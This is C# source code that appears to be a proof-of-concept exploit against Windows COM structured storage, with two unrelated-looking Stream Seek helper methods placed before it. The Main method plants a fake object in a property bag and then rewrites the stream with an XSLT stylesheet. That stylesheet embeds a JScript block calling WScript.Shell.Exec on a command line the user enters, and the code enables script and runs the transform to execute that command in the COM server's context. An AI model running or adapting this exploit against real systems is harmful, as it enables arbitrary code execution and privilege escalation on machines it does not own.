/// <summary>
/// Seeks to a position within the stream
/// </summary>
/// <param name="offset">offset to seek</param>
/// <param name="origin">seek origin</param>
/// <returns>Returns the new position</returns>
public override long Seek(long offset, SeekOrigin origin)
{
if (fileStream == null)
{
throw new ObjectDisposedException("fileStream", "storage stream no longer available");
}
long l = 0;
object local = l;
GCHandle gCHandle = new GCHandle();
try
{
gCHandle = GCHandle.Alloc(local, GCHandleType.Pinned);
IntPtr i = gCHandle.AddrOfPinnedObject();
fileStream.Seek(offset, (int)origin, i);
l = (long)local;
}
finally
{
if (gCHandle.IsAllocated)
{
gCHandle.Free();
}
}
return(l);
}
public override long Seek(long offset, System.IO.SeekOrigin origin)
{
ReportDebugStream("StreamWrapper.Seek, offset={0}, origin={1}", offset, origin);
int seekType;
switch (origin)
{
case System.IO.SeekOrigin.Begin:
seekType = STREAM_SEEK.SET;
break;
case System.IO.SeekOrigin.Current:
seekType = STREAM_SEEK.CUR;
break;
case System.IO.SeekOrigin.End:
seekType = STREAM_SEEK.END;
break;
default:
seekType = STREAM_SEEK.SET;
break;
}
_istream.Seek(offset, seekType, _int64Ptr);
var result = Marshal.ReadInt64(_int64Ptr);
ReportDebugStream("... result: {0}\r\n", result);
return(result);
}
static void Main(string[] args)
{
if (args.Length > 0)
{
RunComServer();
}
else
{
dynamic obj = null;
try
{
obj = Activator.CreateInstance(Type.GetTypeFromCLSID(typeof(COMService).GUID));
}
catch (Exception)
{
Console.WriteLine("Couldn't create object, running as server instead");
RunComServer();
return;
}
try
{
IStorage stg = obj.GetStorage();
Console.WriteLine("Specify command line to start");
string cmdline = Console.ReadLine().Trim();
IStorage new_stg = stg.CreateStorage("TestStorage", 2 | 0x1000 | 0x10, 0, 0);
Console.WriteLine("new_stg: {0}", new_stg);
IPropertyBag bag = (IPropertyBag)new_stg;
Console.WriteLine("Bag: {0}", bag);
PROPVARIANT var = new PROPVARIANT(new FakeObject());
bag.Write("X", var);
Console.WriteLine("Completed Write");
new_stg.Commit(0);
Marshal.ReleaseComObject(bag);
Marshal.ReleaseComObject(new_stg);
new_stg = stg.OpenStorage("TestStorage", IntPtr.Zero, 0x12, IntPtr.Zero, 0);
bag = (IPropertyBag)new_stg;
var = new PROPVARIANT(0);
Console.WriteLine("Reading back steam");
bag.Read("X", var, IntPtr.Zero);
System.Runtime.InteropServices.ComTypes.IStream stm = (System.Runtime.InteropServices.ComTypes.IStream)var.ToObject();
stm.Seek(16, 0, IntPtr.Zero);
byte[] arr = Encoding.ASCII.GetBytes("<xsl:stylesheet version='1.0' xmlns:xsl='http://www.w3.org/1999/XSL/Transform' xmlns:msxsl='urn:schemas-microsoft-com:xslt' xmlns:user='******'> <msxsl:script language='JScript' implements-prefix='user'> function xml(nodelist) { var o = new ActiveXObject('WScript.Shell'); o.Exec('%CMDLINE%'); return nodelist.nextNode().xml; } </msxsl:script> <xsl:template match='/'> <xsl:value-of select='user:xml(.)'/> </xsl:template> </xsl:stylesheet>".Replace("%CMDLINE%", cmdline));
stm.Write(arr, arr.Length, IntPtr.Zero);
Console.WriteLine("Done Write");
Marshal.ReleaseComObject(stm);
Marshal.ReleaseComObject(bag);
Marshal.ReleaseComObject(new_stg);
new_stg = stg.OpenStorage("TestStorage", IntPtr.Zero, 0x12, IntPtr.Zero, 0);
bag = (IPropertyBag)new_stg;
var = new PROPVARIANT();
Console.WriteLine("Reading back steam");
bag.Read("X", var, IntPtr.Zero);
dynamic doc = var.ToObject();
Console.WriteLine("Done Read {0}", doc);
doc.setProperty("AllowXsltScript", true);
doc.transformNode(doc);
}
catch (Exception ex)
{
Console.WriteLine("Error: {0}", ex.Message);
}
}
}